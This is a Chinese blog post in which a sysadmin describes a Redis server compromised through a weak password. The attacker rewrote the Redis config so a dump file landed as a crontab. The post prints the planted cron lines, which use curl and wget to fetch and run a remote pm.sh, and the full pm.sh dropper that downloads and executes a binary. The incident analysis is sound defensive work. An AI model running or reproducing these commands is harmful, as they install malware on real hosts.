redis服务器被攻击,服务器CentOS Linux release 7.6.1810 (Core)

11 篇文章 0 订阅
  1. 没想到这么容易被攻击了,密码是简单密码,端口号是默认的6379。可能太容易被破解了,换了下端口号还是不行。第二天sentinel的大量报这个错。
2738:X 23 Jun 2020 15:28:24.004 * +fix-slave-config slave 127.0.0.1:5480 127.0.0.1 5480 @ mymonitor 127.0.0.1 5479
2738:X 23 Jun 2020 15:28:34.104 * +fix-slave-config slave 127.0.0.1:5481 127.0.0.1 5481 @ mymonitor 127.0.0.1 5479
2738:X 23 Jun 2020 15:28:34.104 * +fix-slave-config slave 127.0.0.1:5480 127.0.0.1 5480 @ mymonitor 127.0.0.1 5479
2738:X 23 Jun 2020 15:28:44.156 * +fix-slave-config slave 127.0.0.1:5481 127.0.0.1 5481 @ mymonitor 127.0.0.1 5479
2738:X 23 Jun 2020 15:28:44.156 * +fix-slave-config slave 127.0.0.1:5480 127.0.0.1 5480 @ mymonitor 127.0.0.1 5479

原因是sentinel的配置文件写的公网ip,而各redis.conf文件写的内网ip或127.0.0.1。还要注意主从的密码要一致,masterauth要一致。

  1. 这个是第二次出问题,上次处理的时候没有清下病毒文件。

redis.conf文件被改动了,从节点还添加了一个名字是root的文件

在这里插入图片描述
redis把dir改成了/etc,可惜我没用root用户没有权限所以日志一直打印,哈哈

Failed opening the RDB file crontab (in server root dir /etc) for saving: Permis site:blog.csdn.net
  1. 添加的root文件的内容是:
REDIS0009ú redis-ver6.0.1ú
redis-bitsà@úctime|ˉused-mem?s úrepl-stream-dbà úrepl-id(d3266917c34ea2d9c8ad73ad4608cc9da3865003úrepl-offset?E? úaof-preambleà t ?  Back4@I 
*/50 * * * * root wge http://d.powerofwish.com/pm.sh -O .p && bash .p
  Back1@D 
*/20 * * * * root curl -fsSL http://d.powerofwish.com/pm.sh | sh
  Back2@J 
*/30 * * * * root wget http://d.powerofwish.com/pm.sh -O .p && bash .p
  Back3@C 
*/25 * * * * root cur -fsSL http://d.powerofwish.com/pm.sh | sh
  foobar???ˉ?às

有没有人知道这个是什么编码,试了好几个都不行
这个能连上客户端就能写入文件

echo "get cront" |redis-cli -p 端口号 -a 密码> a.txt

cront键的值是

[redis@VM_0_3_centos 6379]$ cat a.txt 
* */1 * * * redis echo "root `date`" >> logredis
[redis@VM_0_3_centos 6380]$ cat root 
REDIS0009 redis-ver6.0.1
redis-bits繞鷆time骆used-mem锣s鷕epl-stream-db历repl-id(d3266917c34ea2d9c8ad73ad4608cc9da3865003
                                                                                                   鷕epl-offset掠E夲
                                                                                                                    aof-preamble俐鸅ack4@I 
*/50 * * * * root wge http://d.powerofwish.com/pm.sh -O .p && bash .p
 Back1@D 
*/20 * * * * root curl -fsSL http://d.powerofwish.com/pm.sh | sh
 Back2@J 
*/30 * * * * root wget http://d.powerofwish.com/pm.sh -O .p && bash .p
 Back3@C 
*/25 * * * * root cur -fsSL http://d.powerofwish.com/pm.sh | sh
 foobar皇
                   纒[redis@VM_0_3_centos 6380]$ curl -fsSL http://d.powerofwish.com/pm.sh
-bash: curl: command not found

如果这个文件运行了,嗯,也没下载成功。嗯,哪个新服务器没有安装wget和curl 服务。
4. 去浏览器下载了下http://d.powerofwish.com/pm.sh,这个pm.sh文件

PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin

cd /var/lib

if [ -x "/usr/bin/md5sum" -o -x "/bin/md5sum" ];then
 sum=`md5sum pc|grep bf62e83dd66fd7183de1c12646c77d79|grep -v grep |wc -l`
 if [ $sum -eq 1 ]; then
  chmod +x /var/lib/pc
  /var/lib/pc
  exit 0
 fi
fi

/bin/rm -rf /var/lib/pc
if [ -x "/usr/bin/wget"  -o  -x "/bin/wget" ]; then
   wget -c http://d.powerofwish.com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/curl"  -o  -x "/bin/curl" ]; then
   curl -fs http://d.powerofwish.com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/wge"  -o  -x "/bin/wge" ]; then
   wge -c http://d.powerofwish.com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/get"  -o  -x "/bin/get" ]; then
   get -c http://d.powerofwish.com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/cur"  -o  -x "/bin/cur" ]; then
   cur -fs http://d.powerofwish.com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
elif [ -x "/usr/bin/url"  -o  -x "/bin/url" ]; then
   url -fs http://d.powerofwish.com/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
else
   rpm -e --nodeps wget
   yum -y install wget
   wget -c http://d.powerofwish.com/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc
fi

什么判断这个文件存在否什么的,最后反正是把pc这个文件下载到 /var/lib下面文件名字是pc,给他赋权限然后运行的,看了下嗯,没下载成功,因为我没安装wget和curl,yum install wget就能安装啊。
然后再下载下这个pc研究下啊
在这里插入图片描述这个是可执行的二进制文件
去把主库的rdb文件删下防止用这个数据恢复。root文件删除再重启下。盲猜应该没啥问题了。重启下服务。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值